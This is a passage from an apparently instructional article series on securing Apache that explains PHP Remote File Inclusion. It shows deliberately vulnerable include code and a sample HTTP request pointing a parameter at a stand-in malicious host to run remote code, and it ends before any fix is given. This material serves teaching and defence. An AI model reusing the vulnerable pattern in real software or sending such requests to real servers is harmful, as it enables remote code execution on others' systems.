



Securing Apache

Part—9

Beginning with Part 1 of this series, we have covered all major attacks on Web applications and servers, with examples of vulnerable PHP code. In this article, we will cover those attacks that deal specifically with PHP, and which have not been discussed earlier.

Remote File Inclusion (RFI) attacks

Remote File Inclusion (RFI) is a technique used to attack Web applications from a remote computer. Such attacks allow malicious users to run their own code on a vulnerable Web server by including code from a URL to a remote server. When an application executes the malicious code, it may lead to a back-door exploit or technical information retrieval. This is an application vulnerability that is a result of insufficient validation of user inputs. What makes it more dangerous is that attackers only need to make good guesses, have a basic knowledge of PHP and some Bash, as most servers today are hosted on Linux. Let's look closely at a simple attack scenario.

Attack Scenario 1

Consider the following PHP code vulnerable to RFI inclusion:

```
<?php
$format = 'convert_2_text';
if (isset( $_GET['FORMAT'] ) )
{
    $format = $_GET['FORMAT'];
}
```

```
}
include( $format . '.php' );
?>
```

The above PHP code may be activated from the following HTML page:

```
<form method="get">
<select name="FORMAT">
<option value="convert_2_text">text</option>
<option value="convert_2_html">html</option>
<option value="convert_2_pdf">pdf</option>
</select>
<input type="submit">
</form>
```

To exploit such a vulnerable page, the attacker could send the following request:

```
GET /?FORMAT=http://www.malicious_site.com/hacker.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)
```